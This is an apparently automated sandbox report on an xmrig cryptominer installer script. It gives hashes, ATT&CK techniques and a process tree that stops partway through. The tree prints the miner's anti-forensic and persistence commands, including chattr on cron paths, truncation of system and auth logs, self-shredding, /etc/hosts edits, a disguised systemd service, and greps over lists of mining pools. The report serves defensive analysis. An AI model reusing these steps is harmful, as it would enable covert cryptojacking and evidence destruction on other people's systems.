xmrig | a05ae38215701251380abe446784ce542c6e3023ec68411d51babe1becc7dcbc

Analysis

max time kernel
16s
max time network
135s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
09/08/2026, 12:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
install.sh
Size 71KB
Sample260809-pg1hdaxemc
SHA256 a05ae38215701251380abe446784ce542c6e3023ec68411d51babe1becc7dcbc
MD5 dd2d6fcbad96eeec633ce79c41cba237
SHA1 7a596f7d60c2a09e3697682cc938fd8341001de0
SHA512 7d7b4d70518a54115bf8888bc4f0b413ed13278e8bde299b6544f5a32203d5aec09a2d12e8317063ca0cf54a107efb3907a4d13f133a8270e8daa8fba4d8ebe9
SSDEEP 768:6OYwcTtmv50fiqfQO96/wtgizPjUcDVcv4z/Ntrw1iqWgAVyUPVGTbf:9Yu0f3YgDVcv4pqbf
TLSH
T1B463A6B2B560C1703969C16C678B41503A49703B356C382874AFB52CBFDC758A1FABBE
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution xmrig miner persistence privilege_escalation rootkit

Malware Config

Signatures

Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/fstream-11.dat	family_xmrig
behavioral1/files/fstream-11.dat	xmrig

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1740	chmod
1741	chmod
1742	chmod
1743	chmod

Indicator Removal: File Deletion 1 TTPs 1 IoCs

Adversaries may remove indicators of compromise from the host to evade detection.

defense_evasion

File Deletion

T1070.004

pid	Process
2295	shred

Deletes system logs 1 TTPs 1 IoCs

Deletes log file which contains global system messages. Adversaries may delete system logs to minimize their footprint.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/syslog	install.sh

Loads a kernel module 1 IoCs

Loads a Linux kernel module, potentially to achieve persistence

rootkit

ioc	pid	Process
/lib/modules/4.15.0-213-generic/kernel/arch/x86/kernel/msr.ko	1683	modprobe

Modifies the /etc/hosts DNS resolution file 1 TTPs 2 IoCs

Modifying the /etc/hosts name-resolution file changes IP routing, which can facilitate traffic hijacking or the blocking of (security update) endpoints.

Adversary-in-the-Middle

T1557

description	ioc	Process
File opened for modification	/etc/hosts	install.sh
File opened for modification	/etc/hosts	cp

Deletes log files 1 TTPs 5 IoCs

Deletes log files on the system.

defense_evasion

Clear Linux or Mac System Logs

T1070.002

description	ioc	Process
File truncated	/var/log/kern.log	install.sh
File truncated	/var/log/wtmp	install.sh
File truncated	/var/log/btmp	install.sh
File truncated	/var/log/lastlog	install.sh
File truncated	/var/log/auth.log	install.sh

Enumerates running processes
Discovers information about currently running processes on the system

Modifies systemd 2 TTPs 1 IoCs

Adds/ modifies systemd service files. Likely to achieve persistence.

persistence privilege_escalation

XDG Autostart Entries

T1547.013

Systemd Service

T1543.002

description	ioc	Process
File opened for modification	/etc/systemd/system/ssl-compat.service	install.sh

Removes the immutable protection flag from a file 1 TTPs 9 IoCs

Uses chattr to remove the immutable flag from a file, allowing previously write-protected files to be modified or deleted.

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1694	apt-get
1493	chattr
1693	timeout
1694	apt-get
1491	chattr
1492	chattr
1494	chattr
1694	apt-get
1694	apt-get

Reads CPU attributes 1 TTPs 49 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep
File opened for reading	/sys/devices/system/cpu/online	pgrep

Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

Reads contents of /sys virtual filesystem to enumerate system information.

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/module/msr/initstate	modprobe

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/80/cmdline	pgrep
File opened for reading	/proc/161/cmdline	pgrep
File opened for reading	/proc/473/cmdline	pgrep
File opened for reading	/proc/204/status	pgrep
File opened for reading	/proc/959/cmdline	pgrep
File opened for reading	/proc/1041/status	pgrep
File opened for reading	/proc/203/cmdline	pgrep
File opened for reading	/proc/1483/cmdline	pgrep
File opened for reading	/proc/18/cmdline	pgrep
File opened for reading	/proc/317/status	pgrep
File opened for reading	/proc/1373/cmdline	pgrep
File opened for reading	/proc/204/status	pgrep
File opened for reading	/proc/901/cmdline	pgrep
File opened for reading	/proc/652/cmdline	pgrep
File opened for reading	/proc/901/status	pgrep
File opened for reading	/proc/1501/status	pgrep
File opened for reading	/proc/160/cmdline	pgrep
File opened for reading	/proc/24/cmdline	pgrep
File opened for reading	/proc/940/status	pgrep
File opened for reading	/proc/1023/status	pgrep
File opened for reading	/proc/317/cmdline	pgrep
File opened for reading	/proc/1145/status	pgrep
File opened for reading	/proc/953/status	pgrep
File opened for reading	/proc/98/status	pgrep
File opened for reading	/proc/1027/cmdline	pgrep
File opened for reading	/proc/171/cmdline	pgrep
File opened for reading	/proc/174/status	pgrep
File opened for reading	/proc/1086/status	pgrep
File opened for reading	/proc/172/status	pgrep
File opened for reading	/proc/655/cmdline	pgrep
File opened for reading	/proc/36/cmdline	pgrep
File opened for reading	/proc/166/cmdline	pgrep
File opened for reading	/proc/86/status	pgrep
File opened for reading	/proc/423/status	pgrep
File opened for reading	/proc/953/cmdline	pgrep
File opened for reading	/proc/165/cmdline	pgrep
File opened for reading	/proc/137/cmdline	pgrep
File opened for reading	/proc/520/cmdline	pgrep
File opened for reading	/proc/1479/status	pgrep
File opened for reading	/proc/137/cmdline	pgrep
File opened for reading	/proc/176/status	pgrep
File opened for reading	/proc/1450/status	pgrep
File opened for reading	/proc/2/cmdline	pgrep
File opened for reading	/proc/1011/status	pgrep
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/694/cmdline	pgrep
File opened for reading	/proc/1151/cmdline	pgrep
File opened for reading	/proc/1041/status	pgrep
File opened for reading	/proc/173/cmdline	pgrep
File opened for reading	/proc/23/status	pgrep
File opened for reading	/proc/324/cmdline	pgrep
File opened for reading	/proc/3/status	pgrep
File opened for reading	/proc/980/status	pgrep
File opened for reading	/proc/1480/status	pgrep
File opened for reading	/proc/934/cmdline	pgrep
File opened for reading	/proc/1180/cmdline	pgrep
File opened for reading	/proc/169/cmdline	pgrep
File opened for reading	/proc/36/cmdline	pgrep
File opened for reading	/proc/7/status	pgrep
File opened for reading	/proc/165/cmdline	pgrep
File opened for reading	/proc/168/cmdline	pgrep
File opened for reading	/proc/4/status	pgrep
File opened for reading	/proc/1320/cmdline	pgrep
File opened for reading	/proc/1373/cmdline	pgrep

Writes file to tmp directory 53 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.dcrn.1483	install.sh
File opened for modification	/tmp/fileutl.message.LK5NhM	apt-cache
File opened for modification	/tmp/fileutl.message.1mreQv	apt-cache
File opened for modification	/tmp/fileutl.message.14q3rG	apt-get
File opened for modification	/tmp/fileutl.message.7pNY70	apt-get
File opened for modification	/tmp/fileutl.message.lszPqN	apt-get
File opened for modification	/tmp/fileutl.message.5SGlQj	apt-cache
File opened for modification	/tmp/fileutl.message.LksPfP	apt-cache
File opened for modification	/tmp/fileutl.message.5Ho9YQ	apt-cache
File opened for modification	/tmp/fileutl.message.Jr21gm	apt-get
File opened for modification	/tmp/fileutl.message.FKoOff	apt-get
File opened for modification	/tmp/fileutl.message.L5syxz	apt-get
File opened for modification	/tmp/install.sh	shred
File opened for modification	/tmp/fileutl.message.uwRli7	apt-cache
File opened for modification	/tmp/fileutl.message.BTgJBs	apt-cache
File opened for modification	/tmp/fileutl.message.LqkUv4	apt-cache
File opened for modification	/tmp/fileutl.message.PZDgf8	apt-get
File opened for modification	/tmp/fileutl.message.nM7zRe	apt-get
File opened for modification	/tmp/fileutl.message.LqT5gU	apt-get
File opened for modification	/tmp/fileutl.message.ArF1wU	apt-cache
File opened for modification	/tmp/fileutl.message.smWKDn	apt-cache
File opened for modification	/tmp/fileutl.message.HLzKsf	apt-cache
File opened for modification	/tmp/fileutl.message.RRiWQI	apt-cache
File opened for modification	/tmp/fileutl.message.BJ1E6z	apt-cache
File opened for modification	/tmp/fileutl.message.pVwJys	apt-cache
File opened for modification	/tmp/fileutl.message.rYIHud	apt-cache
File opened for modification	/tmp/fileutl.message.lUhAY5	apt-cache
File opened for modification	/tmp/fileutl.message.kd7Wuk	apt-cache
File opened for modification	/tmp/fileutl.message.HWqpac	apt-cache
File opened for modification	/tmp/fileutl.message.r4fASW	apt-cache
File opened for modification	/tmp/fileutl.message.BiP6mN	apt-get
File opened for modification	/tmp/fileutl.message.xoGeKl	apt-get
File opened for modification	/tmp/sh-thd.TLitx2	install.sh
File opened for modification	/tmp/fileutl.message.smuG5a	apt-cache
File opened for modification	/tmp/fileutl.message.L6E8M2	apt-cache
File opened for modification	/tmp/fileutl.message.7VVy8Y	apt-cache
File opened for modification	/tmp/fileutl.message.Er81IA	apt-cache
File opened for modification	/tmp/fileutl.message.9Dwq1k	apt-cache
File opened for modification	/tmp/fileutl.message.pEkIjt	apt-get
File opened for modification	/tmp/fileutl.message.DNhBDs	apt-get
File opened for modification	/tmp/.crn.1483	install.sh
File opened for modification	/tmp/fileutl.message.Aivf3D	apt-cache
File opened for modification	/tmp/fileutl.message.PNvQoc	apt-cache
File opened for modification	/tmp/fileutl.message.TIbVFH	apt-cache
File opened for modification	/tmp/fileutl.message.baYytY	apt-cache
File opened for modification	/tmp/fileutl.message.vL7V2B	apt-cache
File opened for modification	/tmp/fileutl.message.xRzKAu	apt-cache
File opened for modification	/tmp/fileutl.message.3j8ig1	apt-get
File opened for modification	/tmp/fileutl.message.SZXpZQ	apt-cache
File opened for modification	/tmp/fileutl.message.NZ8GvJ	apt-cache
File opened for modification	/tmp/fileutl.message.bj8pjU	apt-get
File opened for modification	/tmp/fileutl.message.De6tZ7	apt-get
File opened for modification	/tmp/sh-thd.3HOkMh	install.sh

Software Deployment Tools 1 TTPs 1 IoCs

Use software deployment tools to execute code.

execution

Software Deployment Tools

T1072

pid	Process
1694	apt-get

/tmp/install.sh
/tmp/install.sh
1⤵
- Deletes system logs
- Modifies the /etc/hosts DNS resolution file
- Deletes log files
- Modifies systemd
- Writes file to tmp directory
PID:1483
- /usr/bin/dirname
  dirname /tmp/install.sh
  2⤵
  PID:1486
- /usr/bin/basename
  basename /tmp/install.sh
  2⤵
  PID:1487
- /usr/bin/id
  id -u
  2⤵
  PID:1488
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron
  2⤵
  - Removes the immutable protection flag from a file
  PID:1491
- /usr/bin/chattr
  chattr -R -ia /etc/crontab
  2⤵
  - Removes the immutable protection flag from a file
  PID:1492
- /usr/bin/chattr
  chattr -R -ia /etc/cron.d
  2⤵
  - Removes the immutable protection flag from a file
  PID:1493
- /usr/bin/chattr
  chattr -R -ia /var/spool/cron/crontabs
  2⤵
  - Removes the immutable protection flag from a file
  PID:1494
- /usr/bin/pgrep
  pgrep -f /dev/shm/javaa
  2⤵
  - Reads CPU attributes
  PID:1496
- /usr/bin/pgrep
  pgrep -f /dev/shm/cron
  2⤵
  - Reads CPU attributes
  PID:1500
- /usr/bin/pgrep
  pgrep -f /dev/shm/kworker
  2⤵
  - Reads CPU attributes
  PID:1505
- /usr/bin/pgrep
  pgrep -f /dev/shm/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1507
- /usr/bin/pgrep
  pgrep -f /dev/shm/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1509
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1511
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1513
- /usr/bin/pgrep
  pgrep -f /dev/sdhm/kworker
  2⤵
  - Reads CPU attributes
  PID:1515
- /usr/bin/pgrep
  pgrep -f /etc/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1517
- /usr/bin/pgrep
  pgrep -f /etc/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1519
- /usr/bin/pgrep
  pgrep -f /etc/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1521
- /usr/bin/pgrep
  pgrep -f /etc/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1523
- /usr/bin/pgrep
  pgrep -f /etc/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1525
- /usr/bin/pgrep
  pgrep -f /tmp/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1527
- /usr/bin/pgrep
  pgrep -f /tmp/cron
  2⤵
  - Reads CPU attributes
  PID:1529
- /usr/bin/pgrep
  pgrep -f /tmp/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1531
- /usr/bin/pgrep
  pgrep -f /tmp/idle
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1533
- /usr/bin/pgrep
  pgrep -f /tmp/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1535
- /usr/bin/pgrep
  pgrep -f /var/tmp/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1537
- /usr/bin/pgrep
  pgrep -f /var/tmp/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1539
- /usr/bin/pgrep
  pgrep -f /var/tmp/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1541
- /usr/bin/pgrep
  pgrep -f /app/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1543
- /usr/bin/pgrep
  pgrep -f /app/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1545
- /usr/bin/pgrep
  pgrep -f /app/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1547
- /usr/bin/pgrep
  pgrep -f /app/gitea/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1550
- /usr/bin/pgrep
  pgrep -f /app/gitea/cron
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1552
- /usr/bin/pgrep
  pgrep -f /app/gitea/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1554
- /usr/bin/pgrep
  pgrep -f /app/gitea/idle
  2⤵
  - Reads CPU attributes
  PID:1556
- /usr/bin/pgrep
  pgrep -f /app/gitea/ksmd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1558
- /usr/bin/pgrep
  pgrep -f /data/gitea/javaa
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1560
- /usr/bin/pgrep
  pgrep -f /data/gitea/cron
  2⤵
  - Reads CPU attributes
  PID:1562
- /usr/bin/pgrep
  pgrep -f /data/gitea/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1564
- /usr/bin/pgrep
  pgrep -x javaa
  2⤵
  - Reads CPU attributes
  PID:1566
- /usr/bin/pgrep
  pgrep -x javab
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1568
- /usr/bin/pgrep
  pgrep -f "\\./XX[A-Za-z]"
  2⤵
  - Reads CPU attributes
  PID:1570
- /usr/bin/pgrep
  pgrep -f esocket4
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1572
- /usr/bin/pgrep
  pgrep -f /tmp/bobs
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1574
- /usr/bin/pgrep
  pgrep -f "[a-z]+-[0-9a-f]{8}"
  2⤵
  - Reads CPU attributes
  PID:1576
- /usr/bin/head
  head -c 200
  2⤵
  PID:1579
- /bin/ps
  ps -p 1239 -o "cmd="
  2⤵
  - Reads CPU attributes
  PID:1578
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_sys_health"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1581
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_cron_health"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1583
- /usr/bin/pgrep
  pgrep -f -- "\\.gt_"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1585
- /usr/bin/pgrep
  pgrep -f -- "\\.\\/lol"
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1587
- /usr/bin/pgrep
  pgrep -f -- --donate-level
  2⤵
  - Reads CPU attributes
  PID:1589
- /usr/bin/pgrep
  pgrep -x unicorn
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1591
- /usr/bin/pgrep
  pgrep -x lol
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1593
- /bin/rm
  rm -f /etc/cron.d/javaa
  2⤵
  PID:1594
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1595
- /bin/grep
  grep -qiE "kworker|javaa|ksmd|javab" /tmp/.crn.1483
  2⤵
  PID:1596
- /bin/rm
  rm -f /tmp/.crn.1483
  2⤵
  PID:1597
- /usr/bin/id
  id -u
  2⤵
  PID:1598
- /bin/grep
  grep -qF 34.70.205.211 /etc/hosts
  2⤵
  PID:1599
- /bin/grep
  grep -qF 69.30.251.156 /etc/hosts
  2⤵
  PID:1600
- /bin/grep
  grep -qF kworker.eth.limo /etc/hosts
  2⤵
  PID:1601
- /bin/grep
  grep -qF kworker.eth.link /etc/hosts
  2⤵
  PID:1602
- /bin/grep
  grep -qF 216.98.10.60 /etc/hosts
  2⤵
  PID:1603
- /usr/bin/pgrep
  pgrep -f xmrig
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1605
- /usr/bin/pgrep
  pgrep -f ccminer
  2⤵
  - Reads CPU attributes
  PID:1607
- /usr/bin/pgrep
  pgrep -f SRBMiner-MULTI
  2⤵
  - Reads CPU attributes
  PID:1609
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1610
- /bin/grep
  grep -qF universal-mine-watchdog /tmp/.dcrn.1483
  2⤵
  PID:1611
- /bin/rm
  rm -f /tmp/.dcrn.1483
  2⤵
  PID:1612
- /usr/bin/id
  id -u
  2⤵
  PID:1613
- /bin/grep
  grep -qF gulf.moneroocean.stream /etc/hosts
  2⤵
  PID:1614
- /bin/grep
  grep -qF verushash.eu.mine.zpool.ca /etc/hosts
  2⤵
  PID:1615
- /usr/bin/id
  id -u
  2⤵
  PID:1616
- /bin/grep
  grep -qE "docker|containerd|kubepods" /proc/1/cgroup
  2⤵
  PID:1617
- /bin/grep
  grep -qE "^....i"
  2⤵
  PID:1619
- /usr/bin/lsattr
  lsattr /etc/hosts
  2⤵
  PID:1618
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1621
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1623
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1625
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1627
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1629
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1631
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1633
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1635
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1637
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1639
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1641
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1643
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1645
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1647
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1649
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1651
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1653
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1655
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1657
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1659
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1661
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1663
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1665
- /bin/grep
  grep -qi "auto\\.c3pool\\.org"
  2⤵
  PID:1667
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1669
- /bin/grep
  grep -qiE "gulf\\.moneroocean\\.stream|pool\\.supportxmr\\.com|pool\\.minexmr\\.com|xmrpool\\.eu|hashvault\\.pro|nanopool\\.org|2miners\\.com|pool-pay\\.com|monerohash\\.com|kryptex\\.network|unmineable\\.com|verushash\\.eu\\.mine\\.zpool\\.ca|195\\.3\\.145\\.33|185\\.71\\.65\\.238|140\\.82\\.52\\.87|45\\.9\\.148\\.108|193\\.29\\.13\\.95|VM-0-10-centos"
  2⤵
  PID:1671
- /bin/cat
  cat
  2⤵
  PID:1672
- /usr/bin/stat
